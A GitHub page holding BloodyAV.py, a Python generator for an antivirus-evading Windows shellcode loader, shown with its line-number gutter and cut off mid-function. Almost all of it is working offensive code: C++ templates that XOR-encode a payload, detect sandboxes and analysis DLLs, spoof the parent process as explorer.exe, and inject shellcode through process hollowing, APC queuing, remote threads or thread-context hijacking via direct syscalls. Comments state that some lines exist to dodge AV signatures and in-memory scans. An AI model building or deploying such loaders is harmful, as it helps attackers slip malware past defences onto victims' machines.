-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathBloodyAV.py
929 lines (760 loc) · 33.1 KB
/
BloodyAV.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
#!/usr/bin/python3
# Created by Mr.Niko (@MrN1k0)
"""
Author: MR.NIKO, Twitter: @MrN1k0
License: BSD 3-Clause
"""
# Import
import os
import string
import sys
import random
import argparse
import colorama
from colorama import Fore, Back, Style
colorama.init(autoreset=True)
# Banner
Banner = """
▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄ ▓██ ██▓ ▄▄▄ ██▒ █▓
▓█████▄ ▓██▒ ▒██▒ ██▒ ▒██▒ ██▒ ▒██▀ ██▌ ▒██ ██▒ ▒████▄ ▓██░ █▒
▒██▒ ▄██ ▒██░ ▒██░ ██▒ ▒██░ ██▒ ░██ █▌ ▒██ ██░ ▒██ ▀█▄ ▓██ █▒░
▒██░ █▀ ▒██░ ▒██ ██░ ▒██ ██░ ░▓█▄ ▌ ░ ▐██▓░ ░██▄▄▄▄██ ▒██ █░░
░▓█ ▀█▓ ░██████▒ ░ ████▓▒░ ░ ████▓▒░ ░▒████▓ ░ ██▒▓░ ▓█ ▓██▒ ▒▀█░
░▒▓███▀▒ ░ ▒░▓ ░ ░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ░██▒▒▒ ▒▒ ▓▒█░ ░ ▐░
▒░▒ ░ ░ ░ ▒ ░ ░ ░ ▒ ▒░ ░ ░ ▒ ▒░ ░ ▒ ▒ ▓██ ░▒░ ▒ ▒▒ ░ ░ ░░
░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ▒ ▒ ░░ ░ ▒ ░ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░
"""
# C++ Code to encode the shell code
stub = """
#define _WIN32_WINNT 0x0600
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <winternl.h>
#include <tlhelp32.h>
#include "Syscalls2.h"
#ifndef UNICODE
typedef std::string String;
#else
typedef std::wstring String;
#endif
REPLACE_ME_PAYLOAD
unsigned int payload_len = sizeof(payload);
unsigned char* decoded = (unsigned char*)malloc(payload_len);
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x100000000000
REPLACE_SANDBOX_CHECK
REPLACE_PROCESS_FUNCTIONS
int deC(unsigned char payload[])
{
std::string key;
key = "REPLACE_ME_KEY";
for (int i = 0; i < payload_len; i++)
{
char d = payload[i];
for (int z = 0; z < key.length(); z++)
{
d = d ^ (int)key[z];
}
decoded[i] = d;
}
return 0;
}
int main()
{
REPLACE_STUB_METHOD
}"""
# chaker to cake the raw file
sandbox_check = """
//thanks @Cerbersec!
BOOL CheckSandbox() {
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
if (systemInfo.dwNumberOfProcessors < 2)
return TRUE;
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
if (memoryStatus.ullTotalPhys / 1024 / 1024 < 2048)
return TRUE;
ULONG64 timeBeforeSleep = GetTickCount64();
LARGE_INTEGER delay;
delay.QuadPart = -10000 * 60000;
std::cout << "Please wait 60 seconds..." << std::endl;
NtDelayExecution(FALSE, &delay);
ULONG64 timeAfterSleep = GetTickCount64();
if (timeAfterSleep - timeBeforeSleep < 60000)
return TRUE;
return FALSE;
}
"""
# same chaker of dll
dll_sandbox_check = """
int PrintModules(DWORD processID)
{
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;
unsigned int i;
OBJECT_ATTRIBUTES oa;
CLIENT_ID cid;
cid.UniqueProcess = processID;
// Print the process identifier.
//printf("\\nProcess ID: %u\\n", processID);
// Get a handle to the process.
NtOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &oa, &cid);
if (NULL == hProcess)
return 1;
// Get a list of all the modules in this process.
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
{
TCHAR szModName[MAX_PATH];
// Get the full path to the module's file.
if (GetModuleFileNameEx(hProcess, hMods[i], szModName,
sizeof(szModName) / sizeof(TCHAR)))
{
//std::string target = L"Dbghelp.dll";
String dang = szModName;
//CHECK TO SEE IF THESE DLLS ARE LOADED. IF NOT, THEN RETURN 2 TO CONTINUE FOR LOOP
if (dang.find(L"SbieDll.dll") != std::string::npos || dang.find(L"Api_log.dll") != std::string::npos || dang.find(L"Dir_watch.dll") != std::string::npos || dang.find(L"dbghelp.dll") != std::string::npos)
{
// Print the module name and handle value.
//_tprintf(TEXT("\\t%s (0x%08X)\\n"), szModName, hMods[i]);
return 2;
}
}
}
}
// Release the handle to the process.
NtClose(hProcess);
return 0;
}
int getLoadedDlls()
{
DWORD aProcesses[1024];
DWORD cbNeeded;
DWORD cProcesses;
unsigned int i;
// Get the list of process identifiers.
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
return 1;
// Calculate how many process identifiers were returned.
cProcesses = cbNeeded / sizeof(DWORD);
// Print the names of the modules for each process.
int result;
int done = 0;
DWORD saved;
//Loop for dlls. Loop will continue until dlls are found to bypass sandboxing.
while (done != 2)
{
for (i = 0; i < cProcesses; i++)
{
result = PrintModules(aProcesses[i]);
if (result == 2)
{
done = result;
saved = aProcesses[i];
}
}
}
return 0;
}
"""
# This will add proces to inject
process_functions = """
HANDLE GetParentHandle(LPCSTR parent)
{
HANDLE hProcess = NULL;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (stricmp(entry.szExeFile, parent) == 0)
{
CLIENT_ID cID;
cID.UniqueThread = 0;
cID.UniqueProcess = UlongToHandle(entry.th32ProcessID);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cID);
if (hProcess != NULL && hProcess != INVALID_HANDLE_VALUE)
{
NtClose(snapshot);
return hProcess;
}
else
{
NtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
}
}
}
NtClose(snapshot);
return INVALID_HANDLE_VALUE;
}
PROCESS_INFORMATION SpawnProc(LPSTR process, HANDLE hParent) {
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 2, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &attributeSize);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
if (!CreateProcessA(NULL, process, NULL, NULL, TRUE, CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
}
DeleteProcThreadAttributeList(si.lpAttributeList);
return pi;
}
"""
# this will inject process
process_hollow_stub = """
REPLACE_ME_SANDBOX_CALL
deC(payload);
//next few lines do nothing... but they help evade some AV signatures
NTSTATUS res = -1;
if (res == 0) {
printf("Doing nothing!");
}
HANDLE hParent = GetParentHandle("explorer.exe");
if (hParent == INVALID_HANDLE_VALUE)
return 0;
PROCESS_INFORMATION pi = SpawnProc((LPSTR)"REPLACE_ME_PROCESS", hParent);
if (pi.hProcess == INVALID_HANDLE_VALUE || pi.hThread == INVALID_HANDLE_VALUE)
return 0;
HANDLE hProcess = pi.hProcess;
HANDLE hThread = pi.hThread;
PROCESS_BASIC_INFORMATION bi;
ULONG tmp;
res = NtQueryInformationProcess(hProcess, 0, &bi, sizeof(bi), &tmp);
if (res != 0){
std::cout << "NtQueryInformationProcess FAILED to query created process, exiting: " << std::hex << res << std::endl;
return 0;
}
else {
std::cout << "NtQueryInformationProcess queried the created process sucessfully." << std::endl;
}
__int64 TEST = (__int64)bi.PebBaseAddress;
__int64 TEST2 = TEST + 0x10;
PVOID ptrImageBaseAddress = (PVOID)TEST2;
std::cout << "bi.PebBaseAddress: " << bi.PebBaseAddress << std::endl;
std::cout << "ptrImageBaseAddress: " << ptrImageBaseAddress << std::endl;
PVOID baseAddressBytes;
unsigned char data[513];
SIZE_T nBytes;
res = NtReadVirtualMemory(hProcess, ptrImageBaseAddress, &baseAddressBytes, sizeof(PVOID), &nBytes);
if (res != 0){
std::cout << "NtReadVirtualMemory FAILED to read image base address, exiting: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtReadVirtualMemory read image base address successfully." << std::endl;
}
std::cout << "baseAddressBytes: " << baseAddressBytes << std::endl;
PVOID imageBaseAddress = (PVOID)(__int64)(baseAddressBytes);
res = NtReadVirtualMemory(hProcess, imageBaseAddress, &data, sizeof(data), &nBytes);
if (res != 0){
std::cout << "NtReadVirtualMemory FAILED to read first 0x200 bytes of the PE structure, exiting: " << std::hex << res << std::endl;
std::cout << "nBytes: " << nBytes << std::endl;
return 0;
}
else{
std::cout << "NtReadVirtualMemory read first 0x200 bytes of the PE structure successfully." << std::endl;
}
uint32_t e_lfanew = *reinterpret_cast<uint32_t*>(data + 0x3c);
std::cout << "e_lfanew: " << e_lfanew << std::endl;
uint32_t entrypointRvaOffset = e_lfanew + 0x28;
std::cout << "entrypointRvaOffset: " << entrypointRvaOffset << std::endl;
uint32_t entrypointRva = *reinterpret_cast<uint32_t*>(data + entrypointRvaOffset);
std::cout << "entrypointRva: " << entrypointRva << std::endl;
__int64 rvaconv = (__int64)imageBaseAddress;
__int64 rvaconv2 = rvaconv + entrypointRva;
std::cout << "entrypointAddress: " << (PVOID)rvaconv2 << std::endl;
PVOID entrypointAddress = (PVOID)rvaconv2;
ULONG oldprotect;
SIZE_T bytesWritten;
SIZE_T shellcodeLength = (SIZE_T)payload_len;
res = NtProtectVirtualMemory(hProcess, &entrypointAddress, &shellcodeLength, 0x40, &oldprotect);
if (res != 0){
std::cout << "NtProtectVirtualMemory FAILED to set permissions on entrypointAddress: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtProtectVirtualMemory set permissions on entrypointAddress successfully." << std::endl;
}
res = NtWriteVirtualMemory(hProcess, entrypointAddress, decoded, payload_len, &bytesWritten);
if (res != 0){
std::cout << "NtWriteVirtualMemory FAILED to write decoded payload to entrypointAddress: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtWriteVirtualMemory wrote decoded payload to entrypointAddress successfully." << std::endl;
}
res = NtProtectVirtualMemory(hProcess, &entrypointAddress, &shellcodeLength, oldprotect, &tmp);
if (res != 0){
std::cout << "NtProtectVirtualMemory FAILED to revert permissions on entrypointAddress: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtProtectVirtualMemory revert permissions on entrypointAddress successfully." << std::endl;
}
res = NtResumeThread(hThread, &tmp);
if (res != 0){
std::cout << "NtResumeThread FAILED to to resume thread: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtResumeThread resumed thread successfully." << std::endl;
}
NtClose(hProcess);
NtClose(hThread);
"""
# Run the shellcode after injection
CurrentThread_stub = """
HANDLE hProc = GetCurrentProcess();
DWORD oldprotect = 0;
PVOID base_addr = NULL;
HANDLE thandle = NULL;
SIZE_T bytesWritten;
REPLACE_ME_SANDBOX_CALL
deC(payload);
NTSTATUS res = NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (res != 0){
std::cout << "NtAllocateVirtualMemory FAILED to allocate memory in the current process, exiting: " << std::hex << res << std::endl;
return 0;
}
else {
std::cout << "NtAllocateVirtualMemory allocated memory in the current process sucessfully." << std::endl;
}
res = NtWriteVirtualMemory(hProc, base_addr, decoded, payload_len, &bytesWritten);
if (res != 0){
std::cout << "NtWriteVirtualMemory FAILED to write decoded payload to allocated memory: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtWriteVirtualMemory wrote decoded payload to allocated memory successfully." << std::endl;
}
res = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&payload_len, PAGE_NOACCESS, &oldprotect);
if (res != 0){
std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
}
res = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, TRUE, 0, 0, 0, NULL);
if (res != 0){
std::cout << "NtCreateThreadEx FAILED to create thread in current process: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtCreateThreadEx created thread in current process successfully." << std::endl;
}
res = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&payload_len, PAGE_EXECUTE_READ, &oldprotect);
if (res != 0){
std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
}
res = NtResumeThread(thandle, 0);
if (res != 0){
std::cout << "NtResumeThread FAILED to resume created thread: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtResumeThread resumed created thread successfully." << std::endl;
}
res = NtWaitForSingleObject(thandle, -1, NULL);
"""
QueueUserAPC_stub = """
DWORD oldprotect = 0;
PVOID base_addr = NULL;
SIZE_T bytesWritten;
REPLACE_ME_SANDBOX_CALL
deC(payload);
//next few lines do nothing... but they help evade some AV signatures
NTSTATUS res = -1;
if (res == 0) {
printf("Doing nothing!");
}
HANDLE hParent = GetParentHandle("explorer.exe");
if (hParent == INVALID_HANDLE_VALUE)
return 0;
PROCESS_INFORMATION pi = SpawnProc((LPSTR)"REPLACE_ME_PROCESS", hParent);
if (pi.hProcess == INVALID_HANDLE_VALUE || pi.hThread == INVALID_HANDLE_VALUE)
return 0;
HANDLE hProcess = pi.hProcess;
HANDLE hThread = pi.hThread;
res = NtAllocateVirtualMemory(hProcess, &base_addr, 0, (PSIZE_T)&payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (res != 0){
std::cout << "NtAllocateVirtualMemory FAILED to allocate memory in created process, exiting: " << std::hex << res << std::endl;
return 0;
}
else {
std::cout << "NtAllocateVirtualMemory allocated memory in the created process sucessfully." << std::endl;
}
res = NtWriteVirtualMemory(hProcess, base_addr, decoded, payload_len, &bytesWritten);
if (res != 0){
std::cout << "NtWriteVirtualMemory FAILED to write decoded payload to allocated memory: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtWriteVirtualMemory wrote decoded payload to allocated memory successfully." << std::endl;
}
res = NtProtectVirtualMemory(hProcess, &base_addr, (PSIZE_T)&payload_len, PAGE_EXECUTE_READ, &oldprotect);
if (res != 0){
std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
}
res = NtQueueApcThread(hThread, base_addr, NULL, NULL, NULL);
if (res != 0){
std::cout << "NtQueueApcThread FAILED to add routine to APC queue: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtQueueApcThread added routine to APC queue successfully." << std::endl;
}
res = NtAlertResumeThread(hThread, NULL);
if (res != 0){
std::cout << "NtAlertResumeThread FAILED to resume thread: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtAlertResumeThread resumed thread successfully." << std::endl;
}
NtClose(hProcess);
NtClose(hThread);
"""
RemoteThreadSuspended_stub = """
DWORD oldprotect = 0;
PVOID base_addr = NULL;
HANDLE thandle = NULL;
HANDLE hProcess = NULL;
SIZE_T bytesWritten;
REPLACE_ME_SANDBOX_CALL
deC(payload);
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (stricmp(entry.szExeFile, "REPLACE_ME_PROCESS") == 0)
{
OBJECT_ATTRIBUTES oa;
CLIENT_ID cid;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
cid.UniqueThread = 0;
cid.UniqueProcess = UlongToHandle(entry.th32ProcessID);
NTSTATUS res = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
if (res != 0){
std::cout << "NtOpenProcess FAILED to open the target process, exiting: " << std::hex << res << std::endl;
return 0;
}
else {
std::cout << "NtOpenProcess opened the target process sucessfully." << std::endl;
}
res = NtAllocateVirtualMemory(hProcess, &base_addr, 0, (PSIZE_T)&payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (res != 0){
std::cout << "NtAllocateVirtualMemory FAILED to allocate memory in the current process, exiting: " << std::hex << res << std::endl;
return 0;
}
else {
std::cout << "NtAllocateVirtualMemory allocated memory in the current process sucessfully." << std::endl;
}
res = NtWriteVirtualMemory(hProcess, base_addr, decoded, payload_len, &bytesWritten);
if (res != 0){
std::cout << "NtWriteVirtualMemory FAILED to write decoded payload to allocated memory: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtWriteVirtualMemory wrote decoded payload to allocated memory successfully." << std::endl;
}
res = NtProtectVirtualMemory(hProcess, &base_addr, (PSIZE_T)&payload_len, PAGE_NOACCESS, &oldprotect);
if (res != 0){
std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
}
res = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProcess, base_addr, NULL, TRUE, 0, 0, 0, NULL);
if (res != 0){
std::cout << "NtCreateThreadEx FAILED to create thread in current process: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtCreateThreadEx created thread in current process successfully." << std::endl;
}
std::cout << "Sleeping for 10 seconds to avoid in-memory AV scan..." << std::endl;
Sleep(10000);
res = NtProtectVirtualMemory(hProcess, &base_addr, (PSIZE_T)&payload_len, PAGE_EXECUTE_READ, &oldprotect);
if (res != 0){
std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
}
res = NtResumeThread(thandle, 0);
if (res != 0){
std::cout << "NtResumeThread FAILED to resume created thread: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtResumeThread resumed created thread successfully." << std::endl;
}
NtClose(hProcess);
NtClose(thandle);
}
}
}
NtClose(snapshot);
"""
Thread_stub = """
DWORD oldprotect = 0;
PVOID base_addr = NULL;
SIZE_T bytesWritten;
REPLACE_ME_SANDBOX_CALL
deC(payload);
//next few lines do nothing... but they help evade some AV signatures
NTSTATUS res = -1;
if (res == 0) {
printf("Doing nothing!");
}
HANDLE hParent = GetParentHandle("explorer.exe");
if (hParent == INVALID_HANDLE_VALUE)
return 0;
PROCESS_INFORMATION pi = SpawnProc((LPSTR)"REPLACE_ME_PROCESS", hParent);
if (pi.hProcess == INVALID_HANDLE_VALUE || pi.hThread == INVALID_HANDLE_VALUE)
return 0;
HANDLE hProcess = pi.hProcess;
res = NtAllocateVirtualMemory(hProcess, &base_addr, 0, (PSIZE_T)&payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (res != 0){
std::cout << "NtAllocateVirtualMemory FAILED to allocate memory in created process, exiting: " << std::hex << res << std::endl;
return 0;
}
else {
std::cout << "NtAllocateVirtualMemory allocated memory in the created process sucessfully." << std::endl;
}
res = NtWriteVirtualMemory(hProcess, base_addr, decoded, payload_len, &bytesWritten);
if (res != 0){
std::cout << "NtWriteVirtualMemory FAILED to write decoded payload to allocated memory: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtWriteVirtualMemory wrote decoded payload to allocated memory successfully." << std::endl;
}
res = NtProtectVirtualMemory(hProcess, &base_addr, (PSIZE_T)&payload_len, PAGE_EXECUTE_READ, &oldprotect);
if (res != 0){
std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
}
void *_loadLibrary = GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
if (_loadLibrary == NULL) {
std::cout << "[X] Error: Could not find address of LoadLibrary" << std::endl;
return 0;
}
HANDLE hThread;
res = NtCreateThreadEx(&hThread, MAXIMUM_ALLOWED, NULL, hProcess, _loadLibrary, NULL, TRUE, 0, 0, 0, NULL);
if (res != 0){
std::cout << "NtCreateThreadEx FAILED to create thread in current process: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtCreateThreadEx created thread in current process successfully." << std::endl;
}
CONTEXT ctx;
ZeroMemory(&ctx, sizeof(CONTEXT));
ctx.ContextFlags = CONTEXT_CONTROL;
res = NtGetContextThread(hThread, &ctx);
if (res != 0){
std::cout << "NtGetContextThread FAILED to get context of thread: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtGetContextThread got context of thread successfully." << std::endl;
}
ctx.Rip = (DWORD64)base_addr;
res = NtSetContextThread(hThread, &ctx);
if (res != 0){
std::cout << "NtSetContextThread FAILED to set context of thread: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtSetContextThread set context of thread successfully." << std::endl;
}
res = NtResumeThread(hThread, 0);
if (res != 0){
std::cout << "NtResumeThread FAILED to resume created thread: " << std::hex << res << std::endl;
return 0;
}
else{
std::cout << "NtResumeThread resumed created thread successfully." << std::endl;
}
NtClose(hProcess);
NtClose(hThread);
"""
invoke_sandbox_check = """
if (CheckSandbox()) {
std::cout << "Sandbox checks failed; exiting." << std::endl;
return 0;
}
std::cout << "Sandbox checks passed" << std::endl;
"""
def generateKey(length):
letters = string.ascii_letters + string.digits
key = ''.join(random.choice(letters) for i in range(length))
return key
def generateRandomSyscall(length):
letters = string.ascii_letters
syscall = ''.join(random.choice(letters) for i in range(length))
return syscall
def main(stub, infile, outfile, key, process, method, no_randomize, verbose, dll_sandbox):
print(Fore.YELLOW + Style.BRIGHT + "[+] Mr.N1k0'S CUSTOM SHELLCODE LOADER")
method = method.lower()
file_size = os.path.getsize(infile)
if file_size > 10000 and method == "processhollow":
print(Fore.BLUE + "[+] Stageless payload detected; using QueueUserAPC injection instead")
method = "queueuserapc"
if method == "processhollow":
with open(infile, 'rb') as contents:
save = contents.read()
tempfile = "temp_{}".format(infile)
with open(tempfile, 'wb') as contents:
contents.write(b"\x90"*5000)
contents.write(save)
file = open(tempfile, 'rb')
contents = file.read()
file.close()
os.system("rm {}".format(tempfile))
else:
file = open(infile, 'rb')
contents = file.read()
file.close()
encrypted = []
for b in range(len(contents)):
test = contents[b]
for i in range(len(key)):
test = test ^ ord(key[i])
encrypted.append("{:02x}".format(test))
output = "unsigned char payload[] = {"
count = 0
for x in encrypted:
if count < len(encrypted)-1:
output += "0x{},".format(x)
else:
output += "0x{}".format(x)
count += 1
output += "};"
stub = stub.replace("REPLACE_ME_PAYLOAD", output)
stub = stub.replace("REPLACE_ME_KEY", key)
if method == "processhollow":
stub = stub.replace("REPLACE_PROCESS_FUNCTIONS", process_functions)
stub = stub.replace("REPLACE_STUB_METHOD", process_hollow_stub)
print(Fore.BLUE + "[+] Using {} for process hollowing".format(process))
stub = stub.replace("REPLACE_ME_PROCESS", process)
if method == "queueuserapc":
stub = stub.replace("REPLACE_PROCESS_FUNCTIONS", process_functions)
stub = stub.replace("REPLACE_STUB_METHOD", QueueUserAPC_stub)
print(Fore.BLUE + "[+] Using {} for QueueUserAPC injection".format(process))
stub = stub.replace("REPLACE_ME_PROCESS", process)
if method == "remotethreadsuspended":
stub = stub.replace("REPLACE_PROCESS_FUNCTIONS", "")
stub = stub.replace("REPLACE_STUB_METHOD", RemoteThreadSuspended_stub)
print(Fore.BLUE + "[+] Using {} for RemoteThreadSuspended injection".format(process))
stub = stub.replace("REPLACE_ME_PROCESS", process)
if method == "remotethreadcontext":
stub = stub.replace("REPLACE_PROCESS_FUNCTIONS", process_functions)
stub = stub.replace("REPLACE_STUB_METHOD", Thread_stub)
print(Fore.BLUE + "[+] Using {} for RemoteThreadContext injection".format(process))
stub = stub.replace("REPLACE_ME_PROCESS", process)
if method == "currentthread":
stub = stub.replace("REPLACE_PROCESS_FUNCTIONS", "")
stub = stub.replace("REPLACE_STUB_METHOD", CurrentThread_stub)
if dll_sandbox == True:
print(Fore.BLUE + "[+] Using DLL enumeration for sandbox evasion")
stub = stub.replace("REPLACE_SANDBOX_CHECK", dll_sandbox_check)
stub = stub.replace("REPLACE_ME_SANDBOX_CALL", "getLoadedDlls();")
else:
stub = stub.replace("REPLACE_SANDBOX_CHECK", sandbox_check)
stub = stub.replace("REPLACE_ME_SANDBOX_CALL", invoke_sandbox_check)
#Randomize Syscall names
f = open("SystemCall.h", "r")
syscall_contents = f.read()
f.close()
if no_randomize != True:
print(Fore.BLUE + "[+] Randomizing syscall names")
name_len = 19
